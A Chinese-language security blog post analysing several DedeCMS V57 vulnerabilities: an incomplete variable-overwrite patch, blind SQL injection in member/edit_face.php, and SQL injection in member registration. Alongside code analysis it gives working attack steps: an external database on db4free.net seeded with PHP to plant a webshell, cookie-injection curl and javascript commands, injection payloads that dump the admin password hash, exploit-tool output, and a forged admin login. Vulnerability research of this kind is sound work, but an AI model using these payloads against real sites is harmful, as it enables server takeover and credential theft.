您的位置 » 首页 » 代码审计 » 代码审计:DedeCMS几个最新bug分析

代码审计:DedeCMS几个最新bug分析

发表于5年前 | 作者: seay | 分类: 代码审计 | 孵化于:2012年11月19日 | 文章热度:13,258 次 全屏阅读

显示不全请点击全屏阅读

前言:本来是投稿到黑客防线想换几块零花钱的,结果3月投的稿子,编辑回复说拟发4期,4月末咨询说,那”两天会发布”,结果今天5月2号都没发布,索性发出来算了.

本文0x50sec.org原创,版权所有,鄙视修改原文内容的转载.

作者 c4rp3nt3r 邮箱 c4rp3nt3r@0x50sec.org

DedeCms作为国内使用非常广泛的CMS系统,今年来大大小小的安全漏洞爆出来不少.像这种使用非常广泛的Web代码如果出现严重漏洞可能会比一般的缓冲区溢出漏洞造成的破坏更大,其中2011年8月左右爆出的代码执行漏洞最为给力的一个.其后DedeCms很快打了补丁,有一些安全漏洞逐渐被披露,但仍有一些保躺在某些硬盘里.拜读了上一期黑防DedeCms漏洞的文章,也想把之前我找的几个DedeCms的bug与大家分享.

变量覆盖漏洞真的修补完了吗?

2011年8月爆出的Dedecms代码执行漏洞,至今为止,Dedecms还没有完全修补,在某些情况下攻击者仍然可以秒杀对方的服务器。
让我们先看一下Dedecms的 include/common.inc.php

<?php
// include/common.inc.php

37 function _RunMagicQuotes(&$svar) //有些情况下这个函数也是一个纸老虎
38 {
39 if(!get_magic_quotes_gpc())
40 {
41 if( is_array($svar) )
42 {
43 foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
44 }
45 else
46 {
47 if( strlen($svar)>0 && preg_match(‘#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#’,$svar) )
48 {
49 exit(‘Request var not allow!’);
50 }
51 $svar = addslashes($svar);
52 }
53 }
54 return $svar;
55 }
56
57 if (!defined(‘DEDEREQUEST’))
58 {
59 //检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
60 function CheckRequest(&$val) {
61 if (is_array($val)) {
62 foreach ($val as $_k=>$_v) {
63 if($_k == ‘nvarname’) continue;
64 CheckRequest($_k);
65 CheckRequest($val[$_k]);
66 }
67 } else
68 {
69 if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#’,$val) )
70 {
71 exit(‘Request var not allow!’);
72 }
73 }
74 }
75
76 //var_dump($_REQUEST);exit;
77 CheckRequest($_REQUEST); //这里检查变量是否合法
78
79 foreach(Array(‘_GET’,’_POST’,’_COOKIE’) as $_request)
80 {
81 foreach($$_request as $_k => $_v)
82 {
83 if($_k == ‘nvarname’) ${$_k} = $_v;
84 else ${$_k} = _RunMagicQuotes($_v); //遍历初始化变量 并强制执行addslashes函数
85 }
86 }
87 }

这是2011年8月那次漏洞后dede的补丁,防止我们覆盖 $GLOBALS[xxx] 变量 和 系统变量 $cfg_xxx .
先是检测初看似乎没有问题.检查的时候用了超全局变量$_REQUEST,遍历初始化变量的时候用的$_GET,$_POST,$_COOKIE.但是检查的跟最后使用的是否相同呢?IIS的环境下是相同的,在某些apache主机上面就不一定了,$_REQUEST未必就包含$_COOKIE变量,这一点早在N年前国外某大牛的PPT就已经说过了。Dedecms的程序员只是看到网上公布的那个利用_POST方法覆盖变量的exp就写了补丁,而且没有在多种环境下测试就以为安全了。
看下面这个实验就明白了。

/*
OS : BackTrack 5 R1
Web Server : Apache 2
PHP Version : 5.3.2
*/

root@bt:/var/www# cat /var/www/test.php
<?php
var_dump($_REQUEST);
echo “—————REQUEST END————\n”;
var_dump($_COOKIE);
echo “—————COOKIE END————\n”;

root@bt:/var/www# curl –data “hi_post=abcd” –cookie “hi_cookie=1234″ http://127.0.0.1/test.php?hi_get=5678
array(2) {
[“hi_get”]=>
string(4) “5678″
[“hi_post”]=>
string(4) “abcd” //$_REQUEST数组里只有$_GET 和 $_POST的内容,并没有$_COOKIE的内容,所以前面的检查是有漏洞的
}
—————REQUEST END————
array(1) {
[“hi_cookie”]=>
string(4) “1234″
}
—————COOKIE END————

因为这是个老漏洞,但是补丁没有完全修补,属于漏网之鱼,限于篇幅也就不分析了直接给出利用方法。

1.创建支持外连的数据库

执行一下sql语句
mysql -h db4free.net -u mydede -p456456
use xdede;
CREATE TABLE IF NOT EXISTS `dede_myad` (
`aid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT,
`clsid` smallint(5) NOT NULL DEFAULT ’0′,
`typeid` smallint(5) unsigned NOT NULL DEFAULT ’0′,
`tagname` varchar(30) NOT NULL DEFAULT ”,
`adname` varchar(60) NOT NULL DEFAULT ”,
`timeset` smallint(6) NOT NULL DEFAULT ’0′,
`starttime` int(10) unsigned NOT NULL DEFAULT ’0′,
`endtime` int(10) unsigned NOT NULL DEFAULT ’0′,
`normbody` text,
`expbody` text,
PRIMARY KEY (`aid`),
KEY `tagname` (`tagname`,`typeid`,`timeset`,`endtime`,`starttime`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

insert into dede_myad(aid,timeset,normbody) values(1,0,”‘);echo ‘OK’;@fclose($fp);?>”);

2.访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1

浏览器地址栏执行一下javascript:

javascript:document.cookie=”GLOBALS[cfg_dbhost]=db4free.net”;document.cookie=”GLOBALS[cfg_dbuser]=mydede”;document.cookie=”GLOBALS[cfg_dbpwd]=456456″;document.cookie=”GLOBALS[cfg_dbname]=mydede”;document.cookie=”GLOBALS[cfg_dbprefix]=dede_”;

刷新页面,将会生成shell http://127.0.0.1/dede/plus/1.php 密码 c

更直接的利用方式:
终端下执行
curl –cookie “GLOBALS[cfg_dbhost]=db4free.net;GLOBALS[cfg_dbuser]=mydede;GLOBALS[cfg_dbpwd]=456456;GLOBALS[cfg_dbname]=mydede;GLOBALS[cfg_dbprefix]=dede_” “http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1″

我们来看 plus/ad_js.php 的代码:

1 <?php
12 require_once(dirname(__FILE__).”/../include/common.inc.php”); //这个文件里进行的变量覆盖超全局变量$GLOBALS,
13 //使其不再是超全局变量
14 if(isset($arcID)) $aid = $arcID;
15 $arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
16 if($aid==0) die(‘ Request Error! ‘);
17
18 $cacheFile = DEDEDATA.’/cache/myad-’.$aid.’.htm’;
19 if( isset($nocache) || !file_exists($cacheFile) || time() – filemtime($cacheFile) > $cfg_puccache_time )
20 {
21 $row = $dsql->GetOne(“SELECT * FROM `#@__myad` WHERE aid=’$aid’ “);
22 $adbody = ”;
23 //var_dump($row);
24
25 if($row[‘timeset’]==0)
26 {
27 $adbody = $row[‘normbody’];
28 }
29 else
30 {
31 $ntime = time();
32 if($ntime > $row[‘endtime’] || $ntime < $row[‘starttime’]) {
33 $adbody = $row[‘expbody’];
34 } else {
35 $adbody = $row[‘normbody’];
36 }
37 }
38 $adbody = str_replace(‘”‘, ‘\”‘,$adbody);
39 $adbody = str_replace(“\r”, “\\r”,$adbody);
40 $adbody = str_replace(“\n”, “\\n”,$adbody);
41 //echo $adbody ;
42 $adbody = “<!–\r\ndocument.write(\”{$adbody}\”);\r\n–>\r\n”;
43
44 $fp = fopen($cacheFile, ‘w’); //写入数据库内容到缓存文件里
45 fwrite($fp, $adbody);
46 fclose($fp);
47 }
48 include $cacheFile; //执行我们的php代码

这里就是把数据库中的内容输入到缓存文件里,然后包含导致的代码执行。

尽管覆盖在$GLOBALS变量在包含数据库配置文件./data/common.inc.php之前,按照道理来说没办法覆盖才对。但是dedecms里面数据库配置变量用的是$cfg_dbxxxx,但是到了,./include/dedesqli.class.php文件里用的时候却用的是$GLOBALS[‘cfg_xxxx’];,通常的情况下这两者应该是一样的,但是当变量覆盖漏洞发生后$GLOBALS不再是超全局变量了,包含./data/common.inc.php之后$cfg_dbxxxx的值改变了,$GLOBALS[‘cfg_xxxx’]的值却不会跟着变,所以才能利用成功。

图一
代码执行仅仅是一种利用方式,我们能够覆盖$GLOBALS变量,也能覆盖系统配置变量以cfg_ 开头的变量就能够干很多事情比如绕过系统配置等等。好了变量覆盖导致的代码执行说完了,我们再看看dedecms别的bug。

DedeCms的几个有意思的注射漏洞0day

DedeCms由于include/common.inc.php强制执行了_RunMagicQuotes函数,以及80sec的sqlids使得字符形的注射几乎都成了鸡肋poc。
但是下面的代码还是有问题,看下面的代码,遍历初始化的时候,以$_GET为例,在magic_quotes_gpc = Off时,我们提交$_GET[kkk]=vvv’的时候,初始化变量$kkk=vvv\’,但是$_GET[kkk]=vvv’的值确没什么影响。加入以后的代码里直接使用了$_GET[kkk]的值我们就有可能引入单引号了。

	79     foreach(Array('_GET','_POST','_COOKIE') as $_request)
	80     {
	81         foreach($$_request as $_k => $_v)
	82         {
	83             if($_k == 'nvarname') ${$_k} = $_v;
	84             else ${$_k} = _RunMagicQuotes($_v);		//遍历初始化变量 并强制执行addslashes函数
	85         }
	86     }

有的人也提到了在member目录下的文件都包含 member/config.php文件,这个文件的前两句就是

9 require_once(dirname(__FILE__).’/../include/common.inc.php’); //这里就是2011年8月份代码执行变量覆盖的发生地
10 require_once(DEDEINC.’/filter.inc.php’); //这里重新覆盖了一次,include/common.inc.php这个文件里说的话都不算数了,以最后一次说的为准

root@bt:/var/www/dede/member# cat -n ../include/filter.inc.php
	...省略
    20	function _FilterAll($fk, &$svar)
    21	{
    22	    global $cfg_notallowstr,$cfg_replacestr;
    23	    if( is_array($svar) )
    24	    {
    25	        foreach($svar as $_k => $_v)
    26	        {
    27	            $svar[$_k] = _FilterAll($fk,$_v);
    28	        }
    29	    }
    30	    else
    31	    {
    32	        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
    33	        {
    34	            ShowMsg(" $fk has not allow words!",'-1');
    35	            exit();
    36	        }
    37	        if($cfg_replacestr!='')
    38	        {
    39	            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);//和谐社会函数,过滤不和谐内容
    40	        }
    41	    }
    42	    return $svar;
    43	}
    44
    45	/* 对_GET,_POST,_COOKIE进行过滤 */
    46	foreach(Array('_GET','_POST','_COOKIE') as $_request)	//看这里又使用的 $_GET $_POST $_COOKIE
    47	{
    48	    foreach($$_request as $_k => $_v)
    49	    {
    50	        ${$_k} = _FilterAll($_k,$_v);		//又进行了一次变量初始化 这里导致变量覆盖
    51	    }
    52	}

就是说在member目录下的文件我们不受_RunMagicQuotes函数的影响,在magic_quotes_gpc=off的时候我们可以使用单引号、截断符%00等待导致一些安全问题。在dedecms的sqlids里过滤了 union|sleep|benchmark|load_file|outfile 等待sql关键字,这里最狠的是过滤了select 要不我们会舒服的多。但是有没有不用select的情况呢?答案是肯定的。
dedecms dede_member、dede_admin这两个表里都有admin的hash,而且管理员在后台改了密码之后也会贴心地自动把dede_member表里的hash更新一次。所以我们找到dede_member表的注射就解决问题了。用这个表的文件有很多,我找到了修改个人配置信息的地方member/edit_face.php

    root@bt:/var/www/dede/member# cat -n edit_face.php 

     9	require_once(dirname(__FILE__)."/config.php");	//这里包含和谐的 ../include/filter.inc.php
    10	CheckRank(0,0);									//检查权限,至少要是通过认证的会员,什么注册不了会员?别着急我们有办法
    11	$menutype = 'config';
    12	if(!isset($dopost))
    13	{
    14	    $dopost = '';
    15	}
    16	if(!isset($backurl))
    17	{
    18	    $backurl = 'edit_face.php';
    19	}
    20	if($dopost=='save')
    21	{
    22	    $maxlength = $cfg_max_face * 1024;
    23	    $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID;
    24	    if(!preg_match("#^".$userdir."#", $oldface))	//绕过这个正则表达式才能继续玩
    25	    {
    26	        $oldface = '';
    27	    }
    28	    if(is_uploaded_file($face))
    29	    {
    30	        if(@filesize($_FILES['face']['tmp_name']) > $maxlength)
    31	        {
    32	            ShowMsg("你上传的头像文件超过了系统限制大小:{$cfg_max_face} K!", '-1');
    33	            exit();
    34	        }
    35	        //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg)
    36	        if(preg_match("#\.(jpg|gif|png)$#i", $oldface) && file_exists($cfg_basedir.$oldface))
    37	        {
    38	            @unlink($cfg_basedir.$oldface);
    39	        }
    40	        //上传新工图片
    41	        $face = MemberUploads('face', $oldface, $cfg_ml->M_ID, 'image', 'myface', 180, 180);
    42	    }
    43	    else
    44	    {
    45	        $face = $oldface;	// $oldface是我们能控制的变量
    46	    }
    47	    $query = "UPDATE `#@__member` SET `face` = '$face' WHERE mid='{$cfg_ml->M_ID}' ";	//这里导致注射漏洞
    48	    $dsql->ExecuteNoneQuery($query);
    49	    // 清除缓存
    50	    $cfg_ml->DelCache($cfg_ml->M_ID);
    51	    ShowMsg('成功更新头像信息!', $backurl);
    52	    exit();
    53	}

这里是一个update类型的注射,而且还是盲注,还不能用延时注射的话,如何验证sql语句执行的真假呢?具体问题具体分析,这里我们只要验证头像修改没修改成功就好了。好吧我们先找一个用户测试以下。dedecms安装的时候有个测试用户tianya,密码1234567

图二

如图二所示我们提交以下语句测试语句是否成功。

root@bt:~# curl –data “dopost=save&oldface=/dede/uploads/userup/2/../1/aaaaa.gif’+wHere+AscII(suBstrIng((pwd),1,1))<5+and+mid=1;%00″ –cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;” http://bt/dede/member/edit_face.php

root@bt:~# curl http://127.0.0.1/dede/member/index.php?uid=admin | grep aaaaa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 20516 0 20516 0 0 493k 0 –:–:– –:–:– –:–:– 513k

root@bt:~# curl –data “dopost=save&oldface=/dede/uploads/userup/2/../1/aaaaa.gif’+wHere+AscII(suBstrIng((pwd),1,1))<500+and+mid=1;%00″ –cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;” http://bt/dede/member/edit_face.php

root@bt:~# curl http://127.0.0.1/dede/member/index.php?uid=admin | grep aaaaa

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 –:–:– –:–:– –:–:– 0 <dd id=”userInfo”> <a href=”index.php?uid=admin&action=infos” title=”我的资料”> <h4 style=” text-align:center”>admin</h4> <img src=”/dede/uploads/userup/2/../1/aaaaa.gif” alt=”admin的头像” /> </a>
100 20516 0 20516 0 0 478k 0 –:–:– –:–:– –:–:– 488k

 

测试没问题当然不能手工注射,否则会累死的,还是写一个小程序解决之,运行结果如下,成功得到管理员的admin的md5hash.这里也可以只注射中间的16位节省时间。

cookie就是正常用户登录后的cookie数据。

root@bt:~/h4ck/dede0day# ./dede0day "DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;" http://127.0.0.1/dede/

	DedeCms V57 (20110812) SQLInj 0day Exploit
	This Exploit can dump admin's pwd md5 hash
	code by c4rp3nt3r@0x50sec.org www.cli5.com
	Educational purpose!Use it at YOUR OWN RISK!

[*] hash: <span style="color: #ff0000;">21232f297a57a5a743894a0e4a801fc3</span>

写得时候是2011年8月但是dedecm直到到今天也没修补这个漏洞。

上面的方法是比较笨的方法,还有一种方法是直接修改管理员的名字为他的hash,这样就直接在他的空间里显示出来了,一次就能搞定。
图三

如图三所示,提交
root@bt:~/h4ck/dede0day# curl –data “dopost=save&oldface=/dede/uploads/userup/2/../1/c4rp3nt3r.gif’,uname=pwd+where+mid=1;%00″
–cookie “DedeUserID=2; DedeUserID__ckMd5=07494c934808a294;” http://bt/dede/member/edit_face.php > /dev/null

访问管理员的空间http://127.0.0.1/dede/member/index.php?uid=admin就能看到他的密码hash

21232f297a57a5a743894a0e4a801fc3就是管理员mid=1的密码hash。不要忘记把头像给改回来。但这个漏洞的利用有个问题,就是如何得到一个普通的会员帐号。有很多情况下不让注册用户,由于系统开启了邮件审核机制,因此你的帐号需要审核后才能发信息修改头像!要么就是注册了用户收不到邮件没办法激活,哪我们就没办法利用了,因为这个漏洞需要会员登录之后才行。
那我们有什么办法不用登录,或者关闭邮件审核机制,或者不用发邮件就激活帐号呢?

前面讲的变量覆盖漏洞如果在一些apache主机上面仍然存在,那么我们可以伪装成登录了,我们覆盖dedecms系统配置变量cfg_cookie_encode(cookie加密码),这个是认证的关键字符串,我们可以自定义这个变量后就能伪装成管理员登录了。
这里用 cookie方式发送 _GET[cfg_cookie_encode]=123;
也就是 $_COOKIE[_GET][cfg_cookie_encode]=123;
在 ./include/common.php里注册了_GET[cfg_cookie_encode]=123;这个变量,在./include/filter.inc.php 文件里又一次初始化变量,覆盖了cfg_cookie_encode=123;

运行如下命令,可以看到我们不需要密码就成功以管理员身份登录会员中心。
环境还是要求apache,才能绕过对COOKIE方式提交变量的检测。

root@bt:~/h4ck/dede0day# curl –cookie “DedeUserID=1;DedeUserID__ckMd5=6c14da109e294d1e;_GET[cfg_cookie_encode]=123;” http://127.0.0.1/dede/member/ | grep admin


图四

如图三所示,我们已经以管理员的身份登陆了会员中心。

假如不是apache呢,我们没法再绕过那个$_REQUEST的检测,覆盖dedecms的系统变量。只要magic_quotes_gpc=off,我们就能自己注册一个,因为DedeCms在会员注册的地方也存在注射漏洞。

Dedecms member/reg_new.php SQL注射漏洞

我们看 member/reg_new.php的代码 $sex变量在表单是单选项,程序员没做任何过滤就带入了SQL流程,而且有意思的字段正好在这个字段之后,所以我们就可以干一些邪恶的事情了。

 

191	        $inQuery = "INSERT INTO `#@__member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
   192	        `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
   193	       VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
   194	       '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
   195	        if($dsql->ExecuteNoneQuery($inQuery)我们提交

$sex=boy',100,100,'sss@xx.xx',1000,0,0,'face',0,'',1316751900,'',1316751900,'');%00

直接把rank 跟money都设置为100了等,绕过邮件审核。

图五

图六
如图五、图六所示,使用firefox的live http headers插件方便的修改表单数据成功注册了一个会员hack,使用这个用户登录进去找到cookie,然后使用这个cookie利用member/edit_face.php的SQL注射漏洞导出管理员密码。通过上面的测试我们就绕过了看似防守严密的_RunMagicQuotes函数和sqlids的马其诺防线,成功得到管理员密码。

写文章真是一件累人的活,DedeCms还有一些别的漏洞限于时间的关系就不一一说明了。留待读者去发现吧。希望Dedecms越来越安全。(本文相关exp代码和程序见附件))

原文地址:http://www.0x50sec.org/dedecms%e5%87%a0%e4%b8%aa%e6%9c%80%e6%96%b0bug%e5%88%86%e6%9e%90/

Tags:

dedecms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1675/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)